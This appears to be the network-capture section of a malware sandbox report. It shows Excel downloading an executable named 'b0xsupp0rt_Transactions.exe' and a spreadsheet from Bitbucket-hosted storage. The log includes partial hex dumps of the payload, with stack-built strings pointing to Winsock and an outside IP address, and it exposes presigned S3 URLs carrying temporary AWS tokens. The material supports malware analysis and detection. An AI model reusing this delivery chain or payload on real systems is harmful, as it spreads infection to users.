includeSubDomains; preload Date: Thu, 20 Jul 2023 11:29:41 GMT x-usage-user-time: 0.029438 x-usage-system-time: 0.002114 location: https://bbuseruploads.s3.amazonaws.com/25e38aca-ccc9-48c3-8a77-44a6af8af2fb/downloads/2795c53b-98ef-44a6-a372-dd58b884a173/b0xsupp0rt_Transactions.exe?response-content-disposition=attachment%3B%20filename%3D%22b0xsupp0rt_Transactions.exe%22&AWSAccessKeyId=ASIA6KOSE3BNIIEG6UD4&Signature=rTKR3m0FFb0e0hqWK9qjLdvL26c%3D&x-amz-security-token=FwoGZXIvYXdzEC0aDGCnntU5f3AgLskEVCK%2BAcA4G5LXTJXndKoDJmkSX%2Bnh61mDZ5tXE%2FpTzjRJueGnNcz%2FPcKaF4Skrn3ls5xYdkjJrUmQRArxswhjM2%2FcA3gMVlrSFpa%2Fg2kVVXYAVnUskZV1d%2BgZr0s65APmS4TdBR2nP9JTOshVdVHS9Q%2FlNZaCLZ2iKMZG%2Fj54dOfY9e70Xv9sKhePj7d1TzSwSn0LLEEknvfzgjbIgauzojZeXM1e7k8hFFI4g6fktpOIYk5XgVr11UOC8KgqEqWoxDcow7PkpQYyLS7RuvH%2BV%2Fm48jrkTTy0EWUR122UdTuIwvjfAUUB2tvGgYXDKMUPFNyHqEoV4Q%3D%3D&Expires=1689854155 expires: Thu, 20 Jul 2023 11:29:41 GMT x-served-by: 99b67bd77862 x-envoy-upstream-service-time: 69 content-language: en x-view-name: bitbucket.apps.downloads.views.download_file x-static-version: b7a246a5c691 x-render-time: 0.054345130920410156 Connection: close x-usage-input-ops: 0 x-frame-options: SAMEORIGIN x-version: b7a246a5c691 x-request-count: 1595 X-Cache-Info: not cacheable; response specified "Cache-Control: no-cache" Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.7	49703	52.217.14.20	443	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
2023-07-20 11:29:42 UTC	3	OUT	GET /25e38aca-ccc9-48c3-8a77-44a6af8af2fb/downloads/2795c53b-98ef-44a6-a372-dd58b884a173/b0xsupp0rt_Transactions.exe?response-content-disposition=attachment%3B%20filename%3D%22b0xsupp0rt_Transactions.exe%22&AWSAccessKeyId=ASIA6KOSE3BNIIEG6UD4&Signature=rTKR3m0FFb0e0hqWK9qjLdvL26c%3D&x-amz-security-token=FwoGZXIvYXdzEC0aDGCnntU5f3AgLskEVCK%2BAcA4G5LXTJXndKoDJmkSX%2Bnh61mDZ5tXE%2FpTzjRJueGnNcz%2FPcKaF4Skrn3ls5xYdkjJrUmQRArxswhjM2%2FcA3gMVlrSFpa%2Fg2kVVXYAVnUskZV1d%2BgZr0s65APmS4TdBR2nP9JTOshVdVHS9Q%2FlNZaCLZ2iKMZG%2Fj54dOfY9e70Xv9sKhePj7d1TzSwSn0LLEEknvfzgjbIgauzojZeXM1e7k8hFFI4g6fktpOIYk5XgVr11UOC8KgqEqWoxDcow7PkpQYyLS7RuvH%2BV%2Fm48jrkTTy0EWUR122UdTuIwvjfAUUB2tvGgYXDKMUPFNyHqEoV4Q%3D%3D&Expires=1689854155 HTTP/1.1 Host: bbuseruploads.s3.amazonaws.com Connection: Keep-Alive
2023-07-20 11:29:42 UTC	4	IN	HTTP/1.1 200 OK x-amz-id-2: NxdhMn3BSKBGHdCwa9Br57dueTfjUSYxYeYdyI84YUWxqd/jr1i3dQg0XmS0qrfP0aE47/8M0qo= x-amz-request-id: GYH4ADMGZ14HFW9F Date: Thu, 20 Jul 2023 11:29:43 GMT Last-Modified: Mon, 17 Jul 2023 23:11:30 GMT ETag: "e0fb0a3e15bdfba65a792e3e3463dcd5" x-amz-server-side-encryption: AES256 x-amz-version-id: TwxCOBNKD8Pqg3kFiD06X.r_QT_.X_vc Content-Disposition: attachment; filename="b0xsupp0rt_Transactions.exe" Accept-Ranges: bytes Content-Type: application/x-msdownload Server: AmazonS3 Content-Length: 28672 Connection: close
2023-07-20 11:29:42 UTC	4	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a1 1a 66 8c e5 7b 08 df e5 7b 08 df e5 7b 08 df 86 26 0b de e4 7b 08 df ec 03 9b df ec 7b 08 df e5 7b 09 df c1 7b 08 df 8b 26 01 de e8 7b 08 df 8b 26 0a de e4 7b 08 df 52 69 63 68 e5 7b 08 df 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 1f 6d a6 64 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 5c 00 00 00 14 00 00 00 00 00 00 e3 21 00 00 00 10 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$f{{{&{{{{&{&{Rich{PELmd\!
2023-07-20 11:29:42 UTC	6	IN	Data Raw: 00 00 8d 8d d8 fc ff ff 8b f0 e8 9b 24 00 00 83 c0 03 03 c6 3d 04 01 00 00 0f 83 ea 00 00 00 8d 85 d8 fc ff ff 50 ff 75 e8 68 ac 70 40 00 57 e8 3b 24 00 00 83 c4 10 f6 85 ac fc ff ff 10 0f 84 9c 05 00 00 ba b8 70 40 00 8d 8d d8 fc ff ff e8 46 25 00 00 85 c0 0f 84 84 05 00 00 ba c0 70 40 00 8d 8d d8 fc ff ff e8 2e 25 00 00 85 c0 0f 84 6c 05 00 00 8d 8d d8 fc ff ff e8 2b 24 00 00 03 c0 8d 8d d8 fc ff ff 8b d0 e8 09 29 00 00 8b f0 81 fe 94 ed df 82 0f 84 b2 04 00 00 81 fe 91 e0 47 bd 0f 84 a6 04 00 00 81 fe ce 76 b7 44 0f 84 9a 04 00 00 81 fe 18 e2 f2 23 0f 84 64 04 00 00 81 fe ab 40 36 2d 0f 84 58 04 00 00 81 fe 9a b5 49 af 0f 85 90 00 00 00 6a 00 0f b7 0d f0 84 40 00 8d 45 a4 80 7d 08 00 8b d7 50 0f b7 05 d0 84 40 00 0f 45 c8 0f b7 c1 8b cb 50 e8 31 2c 00 Data Ascii: $=Puhp@W;$p@F%p@.%l+$)GvD#d@6-XIj@E}P@EP1,
2023-07-20 11:29:42 UTC	21	IN	Data Raw: 8b 45 f8 0f be 10 85 d2 75 b0 83 fe 04 7c 15 8b 4d f4 8d 55 fc 6a 04 e8 4e e5 ff ff 33 c0 83 c4 04 40 eb 02 33 c0 5f 5e 5b 8b e5 5d c3 0f b6 c1 c1 e0 08 0f b6 cd 0b c1 c3 55 8b ec 81 ec ec 01 00 00 c7 45 b4 93 fc f5 a0 c7 45 b8 bb 68 e5 05 c7 45 bc 1f f9 cf 74 c7 45 c0 cd 3a 73 a7 c7 45 c4 ad 52 d8 59 c7 45 c8 77 d7 c6 a5 c7 45 cc a2 45 75 37 c7 45 d0 bc 98 33 8e c7 45 d4 04 47 51 ed 83 65 d8 00 c6 45 dc 77 c6 45 dd 73 c6 45 de 32 c6 45 df 5f c6 45 e0 33 c6 45 e1 32 c6 45 e2 2e c6 45 e3 64 c6 45 e4 6c c6 45 e5 6c c6 45 e6 00 8d 55 b4 8d 4d dc e8 15 f3 ff ff 0f b6 c0 83 f8 09 74 07 32 c0 e9 3f 01 00 00 c6 45 ff 00 c6 45 e8 38 c6 45 e9 39 c6 45 ea 2e c6 45 eb 32 c6 45 ec 33 c6 45 ed 38 c6 45 ee 2e c6 45 ef 31 c6 45 f0 37 c6 45 f1 30 c6 45 f2 2e c6 45 f3 32 Data Ascii: Eu\|MUjN3@3_^[]UEEhEtE:sERYEwEEu7E3EGQeEwEsE2E_E3E2E.EdElElEUMt2?EE8E9E.E2E3E8E.E1E7E0E.E2

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.7	49704	104.192.141.1	443	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
2023-07-20 11:29:43 UTC	32	OUT	GET /simplecry/test/downloads/sheet_spending.xlsx HTTP/1.1 Host: bitbucket.org
2023-07-20 11:29:43 UTC	32	IN	HTTP/1.1 302 Found server: envoy x-usage-quota-remaining: 998341.796 vary: Accept-Language, Origin x-usage-request-cost: 1007.37 cache-control: max-age=0, no-cache, no-store, must-revalidate Content-Type: text/html; charset=utf-8 x-b3-traceid: 4ddc67e0502b2b2f x-usage-output-ops: 0 x-used-mesh: False x-dc-location: Micros-3 content-security-policy: frame-ancestors 'self' start.atlassian.com start.stg.atlassian.com atlaskit.atlassian.com bitbucket.org; script-src 'unsafe-eval' 'strict-dynamic' 'unsafe-inline' 'self' http: https: https://remote-app-switcher.stg-east.frontend.public.atl-paas.net https://remote-app-switcher.prod-east.frontend.public.atl-paas.net https://d301sr5gafysq2.cloudfront.net/ https://d136azpfpnge1l.cloudfront.net/; base-uri 'self'; default-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob: ; connect-src bitbucket.org .bitbucket.org bb-inf.net .bb-inf.net id.atlassian.com api.atlassian.com api.stg.atlassian.com wss://bitbucketci-ws-service.services.atlassian.com/ wss://bitbucketci-ws-service.stg.services.atlassian.com/ wss://bitbucketci-ws-service.dev.services.atlassian.com/ analytics.atlassian.com as.atlassian.com api-private.stg.atlassian.com api-private.atlassian.com cofs.staging.public.atl-paas.net cofs.prod.public.atl-paas.net fd-assets.prod.atl-paas.net intake.opbeat.com api.media.atlassian.com api.segment.io xid.statuspage.io xid.atlassian.com xid.sourcetreeapp.com bam.nr-data.net bam-cell.nr-data.net www.google-analytics.com sentry.io .ingest.sentry.io events.launchdarkly.com app.launchdarkly.com fd-config.us-east-1.prod.public.atl-paas.net bqlf8qjztdtr.statuspage.io https://d301sr5gafysq2.cloudfront.net/ https://d136azpfpnge1l.cloudfront.net/; object-src 'none'; style-src 'self' 'unsafe-inline' https://aui-cdn.atlassian.com/ https://cdn.cookielaw.org/ https://d301sr5gafysq2.cloudfront.net/ https://d136azpfpnge1l.cloudfront.net/; report-uri https://web-security-reports.services.atlassian.com/csp-report/bb-website Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Date: Thu, 20 Jul 2023 11:29:43 GMT x-usage-user-time: 0.026537 x-usage-system-time: 0.003684 location: https://bbuseruploads.s3.amazonaws.com/25e38aca-ccc9-48c3-8a77-44a6af8af2fb/downloads/c73c855d-7a2d-49de-b44d-255e45097f08/sheet_spending.xlsx?response-content-disposition=attachment%3B%20filename%3D%22sheet_spending.xlsx%22&AWSAccessKeyId=ASIA6KOSE3BNHRP5HY26&Signature=39jeT%2FckAGNesRSUXBWkEdPCx%2F4%3D&x-amz-security-token=FwoGZXIvYXdzEC0aDAqik0tAxwmFDsP2lSK%2BARtV432Ws3%2BNTskJH9I%2BBsTTme0j72FReX5XtlCUDAX2l0u56MLZbcETGMkw7j%2BpxAJQsuzVl%2Ft0eFm%2Ba35Q1ozDKj7aKXkAZzYbdSj0Iw3snSHcQUyE6AQioYL%2FGQfZuM4lPDsjwrhgJ0dwdg9U5OLKbK7GxBlv%2BnvJPhuS04tMwTUar55KLxyCqHa7cCIPnDSG81%2F3FEJ6omI4BF3E5bqdJT0PiP7cpt97ptAfBrmlZ5RvsjLw6A8PN%2FWRIfMox7PkpQYyLUieOgNm8bCr2RhA6RxxrHujAEgmdz8vrHaFUbc0vg13qVDHgW1rT96eXvXobw%3D%3D&Expires=1689854159 expires: Thu, 20 Jul 2023 11:29:43 GMT x-served-by: 5c3a7e4a5ebc x-envoy-upstream-service-time: 59 content-language: en x-view-name: bitbucket.apps.downloads.views.download_file x-static-version: b7a246a5c691 x-render-time: 0.04635953903198242 Connection: close x-usage-input-ops: 0 x-frame-options: SAMEORIGIN x-version: b7a246a5c691 x-request-count: 1411 X-Cache-Info: not cacheable; response specified "Cache-Control: no-cache" Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.7	49705	52.217.14.20	443	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
2023-07-20 11:29:43 UTC	36	OUT	GET /25e38aca-ccc9-48c3-8a77-44a6af8af2fb/downloads/c73c855d-7a2d-49de-b44d-255e45097f08/sheet_spending.xlsx?response-content-disposition=attachment%3B%20filename%3D%22sheet_spending.xlsx%22&AWSAccessKeyId=ASIA6KOSE3BNHRP5HY26&Signature=39jeT%2FckAGNesRSUXBWkEdPCx%2F4%3D&x-amz-security-token=FwoGZXIvYXdzEC0aDAqik0tAxwmFDsP2lSK%2BARtV432Ws3%2BNTskJH9I%2BBsTTme0j72FReX5XtlCUDAX2l0u56MLZbcETGMkw7j%2BpxAJQsuzVl%2Ft0eFm%2Ba35Q1ozDKj7aKXkAZzYbdSj0Iw3snSHcQUyE6AQioYL%2FGQfZuM4lPDsjwrhgJ0dwdg9U5OLKbK7GxBlv%2BnvJPhuS04tMwTUar55KLxyCqHa7cCIPnDSG81%2F3FEJ6omI4BF3E5bqdJT0PiP7cpt97ptAfBrmlZ5RvsjLw6A8PN%2FWRIfMox7PkpQYyLUieOgNm8bCr2RhA6RxxrHujAEgmdz8vrHaFUbc0vg13qVDHgW1rT96eXvXobw%3D%3D&Expires=1689854159 HTTP/1.1 Host: bbuseruploads.s3.amazonaws.com
2023-07-20 11:29:44 UTC	36	IN	HTTP/1.1 200 OK x-amz-id-2: YeQOy5PAZNTwWLE35tbxsp4CjfrvSB9rHT8y0A0neqkfvCjkkaoAqJvo8dM25FbkM2A+HIntjlo= x-amz-request-id: JHPK22K2VH0VNVJF Date: Thu, 20 Jul 2023 11:29:44 GMT Last-Modified: Mon, 17 Jul 2023 23:15:38 GMT ETag: "42dc31179474685306765fd401576824" x-amz-server-side-encryption: AES256 x-amz-version-id: xuLz0804YtCymWssoD3AUjxmsy3l06Kc Content-Disposition: attachment; filename="sheet_spending.xlsx" Accept-Ranges: bytes Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet Server: AmazonS3 Content-Length: 95627 Connection: close
2023-07-20 11:29:44 UTC	37	IN	Data Raw: 50 4b 03 04 14 00 06 00 08 00 00 00 21 00 b9 4e 60 ad 01 02 00 00 65 0d 00 00 13 00 d7 01 5b 43 6f 6e 74 65 6e 74 5f 54 79 70 65 73 5d 2e 78 6d 6c 20 a2 d3 01 28 a0 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: PK!N`e[Content_Types].xml (
2023-07-20 11:29:44 UTC	53	IN	Data Raw: 7d 69 e0 c2 dc 03 d7 48 47 b5 32 26 27 26 0b 57 00 f6 d5 90 2b ad 26 0d ac 70 24 6d 14 59 60 54 14 8d c9 f9 ae 3b 97 a9 fd fb c9 2b ad 1d 0d ac 7e ba 30 b2 50 f9 7e a2 c1 65 af 71 d1 d2 4a d1 c0 82 b9 67 10 59 3c 54 b4 8c 89 13 6a 6c b4 b4 2e 34 b0 98 d4 fb 87 52 88 3f b8 ab bd 32 26 27 a6 86 62 b1 fb be c2 dc ed cb f7 b5 96 80 1a 93 37 7b 3a 6c 23 96 c7 2b 12 71 ea e2 d5 35 f6 dc bd 0b cd bf 7a d3 1d 93 b2 5c 75 6e ba 77 f6 e8 a7 88 d9 41 67 5e ad 1b a5 79 d5 34 52 bc ba 1e 5c 49 78 8f 88 57 97 71 39 59 3b 85 63 18 15 f1 55 ca 27 26 d6 94 4f 17 b1 ae b5 24 34 23 27 0b 8a 70 0a 2e e3 aa d2 b7 55 f3 ad b2 26 27 26 3b 05 99 5f d7 d8 6b 5f d3 0c a1 f1 a5 cd f6 35 76 51 d6 03 bb 28 eb b4 1c 78 33 0a 22 85 3a 96 2f 71 0a 67 a8 35 39 31 59 d4 82 b3 8f 66 d7 69 Data Ascii: }iHG2&'&W+&p$mY`T;+~0P~eqJgY<Tjl.4R?2&'b7{:l#+q5z\unwAg^y4R\IxWq9Y;cU'&O$4#'p.U&'&;_k_5vQ(x3":/qg591Yfi
2023-07-20 11:29:44 UTC	53	IN	Data Raw: 35 5e b1 48 24 9d 62 95 48 3a 75 c9 44 36 4d eb 04 db 23 52 33 25 64 ed 15 e6 7e c2 86 81 64 d9 b1 73 93 b5 02 c7 69 b4 69 02 d3 68 d3 73 00 30 e1 4d a8 e9 80 5e 64 d3 b4 60 b0 7d 18 be 5d 48 d4 2d 83 4b 02 32 f6 b3 f0 05 6e 9f 68 64 d3 b4 6a b0 7d 18 a2 11 09 44 c5 d8 00 91 6d 23 21 12 d7 5b fa cb a6 ac 01 9a ff e2 fb a4 b5 57 10 31 40 b4 ea 51 db 46 42 a4 e4 48 41 64 d6 1f 82 c8 5e 1a a2 b1 49 0a 76 b2 f4 aa 77 ab 27 9b 12 eb a7 20 b2 1a 68 9e b6 51 14 cd 08 6a 78 ee 51 ef c6 d5 b6 9a aa f1 37 cd 93 81 dd 10 7c 00 a0 03 1b 2f 13 34 59 c7 95 3c b7 46 58 3a c9 1a 4f 65 b1 13 4d 5f f0 a8 7f 46 85 66 35 e6 71 e7 93 59 dd dd fa 69 65 9e 39 a9 e9 5a 20 a7 e9 da b4 d2 74 4d 0f 15 da 31 2a 33 6f c7 15 fa 21 f6 27 aa 12 36 bc b4 4e ed 6b bf a8 eb c1 db 51 19 3d Data Ascii: 5^H$bH:uD6M#R3%d~dsiihs0M^d`}]H-K2nhdj}Dm#![W1@QFBHAd^Ivw' hQjxQ7\|/4Y<FX:OeM_Ff5qYie9Z tM1*3o!'6NkQ=
2023-07-20 11:29:44 UTC	69	IN	Data Raw: c7 b5 bd 59 02 55 33 0b 4a c7 f6 dd 90 38 62 ee 33 1c 2b 1c 90 98 28 a4 e7 f8 94 90 12 ed ee 51 ea d8 75 8f fa 82 4b 3e 51 e8 1e 45 1d 4c 4b 4d 32 a4 23 27 90 16 8b 76 69 04 7e 99 97 e9 0c ae 76 6c b3 77 17 75 38 2b d3 7a 87 1c ba 48 48 08 cc 4a 84 1f 12 e6 98 f1 3a 9e 29 1c 95 91 1c e2 88 15 0d 7e 13 ab b0 4c c8 c1 5c f8 45 5c 4f 2a f0 74 40 18 47 bd 31 91 b2 6c cd 6d 01 fa 16 9c 7e 03 43 bd 2a 75 fb 1e 9b 47 2e 52 28 3a 2d a3 79 13 73 5e 44 ee f0 69 37 c4 51 52 86 1d d0 38 2c 62 3f 90 53 08 51 8c f6 b9 2a 83 ef 71 37 43 f4 3b f8 01 c7 2b dd 7d 97 12 c7 dd a7 17 82 3b 34 70 44 5a 04 88 9e 99 09 ed 4b 28 d4 4e fd 8d 68 fc 77 c5 98 51 a8 c6 36 06 de 15 e3 b6 b7 0d 5b 53 59 4a ec 9e 28 c1 ab 70 ff c1 c2 bb 83 67 f1 3e 81 58 5f de 78 de d5 dd 77 75 d7 7b eb Data Ascii: YU3J8b3+(QuK>QELKM2#'vi~vlwu8+zHHJ:)~L\E\Ot@G1lm~CuG.R(:-ys^Di7QR8,b?SQ*q7C;+};4pDZK(NhwQ6[SYJ(pg>X_xwu{
2023-07-20 11:29:44 UTC	70	IN	Data Raw: 50 4b 03 04 14 00 06 00 08 00 00 00 21 00 64 0a e8 a8 da 14 00 00 44 63 00 00 19 00 00 00 78 6c 2f 77 6f 72 6b 73 68 65 65 74 73 2f 73 68 65 65 74 31 33 2e 78 6d 6c 9c 5d 6d 6f 1b 39 0e fe 7e c0 fd 07 9f ef cb 2d 8a d4 1e bf 3b 68 72 a8 67 d0 26 c5 f6 5a b4 bd de 67 37 99 24 c6 3a 9e c0 76 da ed bf bf 87 22 35 96 44 69 a6 3b 1f b6 d9 d0 14 45 52 14 1f ea c5 ca ab 7f ff f9 b8 ed 7d 2f f7 87 4d b5 bb e8 67 2f 87 fd 5e b9 bb a9 6e 37 bb fb 8b fe 7f bf bc 39 5b f4 7b 87 e3 7a 77 bb de 56 bb f2 a2 ff b3 3c f4 ff 7d f9 f7 bf bd fa 51 ed ff 38 3c 94 e5 b1 07 09 bb c3 45 ff e1 78 7c 3a 1f 0c 0e 37 0f e5 e3 fa f0 b2 7a 2a 77 f8 e4 ae da 3f ae 8f f8 75 7f 3f 38 3c ed cb f5 ad 69 f4 b8 1d 8c 86 c3 d9 e0 71 bd d9 f5 59 c2 f9 fe 57 64 54 77 77 9b 9b b2 a8 6e 9e 1f cb Data Ascii: PK!dDcxl/worksheets/sheet13.xml]mo9~-;hrg&Zg7$:v"5Di;ER}/Mg/^n79[{zwV<}Q8<Ex\|:7z*w?u?8<iqYWdTwwn
2023-07-20 11:29:44 UTC	86	IN	Data Raw: f8 e4 ae da 3f ae 8f f8 75 7f 3f 38 3c ed cb f5 ad 69 f4 b8 1d 8c 86 c3 d9 e0 71 bd d9 f5 59 c2 f9 fe 57 64 54 77 77 9b 9b b2 a8 6e 9e 1f cb dd 91 85 ec cb ed fa 08 fd 0f 0f 9b a7 43 ff f2 d5 ed 06 9f 91 41 bd 7d 79 77 d1 7f 9d 9d bf cb c6 a3 fe e0 f2 95 e9 fb eb a6 fc 71 70 fe bf 77 78 a8 7e bc dd 6f 6e 7f df ec 4a 18 02 17 90 71 df aa ea 0f 62 bd be 25 12 1a 0f 54 eb 37 c6 b8 8f fb de 6d 79 b7 7e de 1e 3f 55 3f ae ca cd fd c3 11 9e 9c 52 93 9b 6a 8b 9e f0 6f ef 71 43 ee ed f7 1e d7 7f 9a 9f 3f 36 b7 c7 87 8b fe 68 fc 72 3a 1f 8e b3 d1 b4 df fb 56 1e 8e 6f 36 d4 b6 df bb 79 3e 1c ab c7 ff 31 53 26 a2 58 c8 48 84 8c a1 26 7f be 7c 99 4d 86 33 12 71 38 fe dc 62 90 c6 33 af c5 44 5a e0 a7 b4 c8 d0 c5 89 f7 57 7b 9e 8b 1c fc b4 ea 2f 5e 4e 46 d3 f9 e2 af e8 Data Ascii: ?u?8<iqYWdTwwnCA}ywqpwx~onJqb%T7my~?U?RjoqC?6hr:Vo6y>1S&XH&\|M3q8b3DZW{/^NF
2023-07-20 11:29:44 UTC	87	IN	Data Raw: e3 0c a0 26 42 4f f3 4c 9c c2 cd 67 88 1b 28 83 31 41 8b eb f9 e0 da 16 02 ff 2c ae bf 0e 86 ff 08 bd 54 b7 a2 55 9a 29 65 a5 53 08 b2 24 ac 1a 8d 6a 4c f2 bd 44 65 ae 13 58 16 db 32 2e 7f a9 61 3d 44 33 d4 38 df 79 81 60 7a 42 d1 63 c4 8e e7 46 d9 cf ff 7d ff af d5 f4 1c 16 fe 16 37 11 d5 8f c3 6f e4 ba f5 19 3e 46 81 46 2c 28 d0 90 ef 48 5e 3e 3d 87 d7 12 f2 98 19 b1 67 2a 61 57 1e 4b 08 ca 10 df 6e 2a b8 1c bb cd 12 c9 af e2 33 ae c9 26 6e 15 18 0c da ca f2 b8 29 3c 80 dc 3c c6 13 64 f9 22 c6 93 2a b2 33 aa 6a ac ea 13 b8 de 0c c6 6b 43 26 c7 19 47 a8 58 b6 95 cf fb 6a 7f bc 5f df 97 83 4f d8 76 08 c7 93 eb 25 67 7a e7 22 d5 21 15 42 e2 34 76 b9 ca e6 67 e0 52 23 ee 7b 9b a0 3d a2 32 23 7e 4a 65 0b 73 6f d7 87 c1 87 cd 36 54 96 1b 3b 9a e5 99 22 15 42 Data Ascii: &BOLg(1A,TU)eS$jLDeX2.a=D38y`zBcF}7o>FF,(H^>=gaWKn3&n)<<d"*3jkC&GXj_Ov%gz"!B4vgR#{=2#~Jeso6T;"B
2023-07-20 11:29:44 UTC	103	IN	Data Raw: 67 7a e7 22 d5 21 15 42 e2 34 76 b9 ca e6 67 e0 52 23 ee 7b 9b a0 3d a2 32 23 7e 4a 65 0b 73 6f d7 87 c1 87 cd 36 54 96 1b 3b 9a e5 99 22 15 42 d2 39 d7 ec a8 e0 e3 f3 62 44 56 23 e4 46 7d 18 b3 80 31 b6 df d3 60 fb c6 10 74 46 8c 61 44 4d 19 63 e1 f5 73 f9 a3 dc 87 a6 70 53 cf 14 45 2a 08 98 90 ad b4 29 ac 7c 53 b4 8f 5c f0 3e 85 8c 21 27 43 a6 ae fa fe b7 3e 2a 95 a5 a9 ab b2 26 15 42 ea a4 32 1c 19 f1 f2 88 c8 69 95 2d 46 ff be fe b1 1b bc 5d ef 6f d5 ea 46 04 78 8a b3 4c 87 54 08 57 27 c5 5d a8 76 7c 2d f0 1c 9f 9e 23 bb d2 b9 aa 1e cb de e7 e7 a7 a7 ed a6 0c 57 c0 b4 5b 03 db 1d 3d 73 4d 2a 84 d4 49 75 82 09 1d d9 80 e0 26 9f 5b 40 7b 8f 2d d0 63 b9 5b ef 6e ca 20 be 45 80 a7 38 cb 74 48 85 70 75 52 9c 50 23 a2 38 e3 4d 62 4a 8e ec 92 fd fa f1 69 5f Data Ascii: gz"!B4vgR#{=2#~Jeso6T;"B9bDV#F}1`tFaDMcspSE)\|S\>!'C>&B2i-F]oFxLTW']v\|-#W[=sM*Iu&[@{-c[n E8tHpuRP#8MbJi_
2023-07-20 11:29:44 UTC	104	IN	Data Raw: 14 75 8d a5 89 89 cb 86 28 aa e1 50 9f a1 4b 53 4f 7b 8d 86 c2 d5 49 fb 56 34 9c 30 80 cd 12 70 38 69 80 43 69 ea 2c 0b 73 4d 2a 84 64 01 65 82 95 62 2d 34 05 28 ad 30 88 5b 2d 84 65 74 ac 53 23 ca 18 d3 d5 47 14 66 d2 00 60 72 0a 4e b3 91 53 88 05 39 05 eb 44 83 28 c8 33 ab 49 64 5d 67 d0 01 27 d6 a6 57 2d 90 45 04 93 59 10 45 da 44 11 65 de 58 0d c0 b1 2d a1 67 38 02 44 09 d7 ce 96 a7 09 50 62 3c 21 a0 c4 78 52 80 32 f5 b1 d0 9e 3d 10 39 56 b5 4c ed b6 e6 db 7d 75 53 ee f5 96 a6 91 e7 a7 29 4d 2a 84 a4 e7 09 63 88 f9 18 63 bd 00 7e 4c b1 46 ac 7b 4d 44 e1 d4 47 c5 da 08 c6 b3 19 7e 44 6d b1 a8 54 6c 76 b8 54 da fb f0 7c 0c c2 d2 c8 85 31 4e 1d a6 49 85 90 ec b4 99 02 f0 a6 56 74 4a 61 1f f0 6a 85 19 82 bc 33 ba 31 92 92 37 57 a6 82 53 f1 0d 13 dc fa 38 Data Ascii: u(PKSO{IV40p8iCi,sMdeb-4(0[-etS#Gf`rNS9D(3Id]g'W-EYEDeX-g8DPb<!xR2=9VL}uS)Mcc~LF{MDG~DmTlvT\|1NIVtJaj317WS8
2023-07-20 11:29:44 UTC	120	IN	Data Raw: 54 da fb f0 7c 0c c2 d2 c8 85 31 4e 1d a6 49 85 90 ec b4 99 02 f0 a6 56 74 4a 61 1f f0 6a 85 19 82 bc 33 ba 31 92 92 37 57 a6 82 53 f1 0d 13 dc fa 38 2f 0c 0b fc 87 48 36 73 65 8a ea 6b 9a 3a 74 c3 cd 8e 86 b9 b2 0c e3 9e e7 8a 6d 13 9d 2b aa 8d 57 7d 4d 5b 71 c6 70 04 73 25 cc 18 96 a7 71 ae 30 5e 11 a4 d4 a9 47 cd 95 08 4f 72 ae b4 02 cc 94 21 81 ce 3c a3 11 67 01 e6 23 e0 b1 da ad b7 a9 83 01 91 e3 a2 8d 26 15 42 4a ce 22 ec 7c 51 ec 53 ca c3 45 0b 4c 25 1c ec 4d ad 0a a9 c8 6c 85 a1 29 c3 50 d2 46 0b 43 f9 b6 c2 1d ab dd 7d 18 be dc dc 33 4d 91 0a e9 44 9b 26 c6 04 09 dc 0f 30 ca e3 8d 75 c0 94 33 7d d2 04 04 c9 1d ad fd 8a fd cf 5e be 2d d7 94 1e 42 33 58 84 67 86 22 15 d2 51 27 33 66 ad 6b 35 c3 81 b1 4d 44 1b 5d ff 35 66 e0 5e 6a b5 1b ac d6 fb 6f Data Ascii: T\|1NIVtJaj317WS8/H6sek:tm+W}M[qps%q0^GOr!<g#&BJ"\|QSEL%Ml)PFC}3MD&0u3}^-B3Xg"Q'3fk5MD]5f^jo
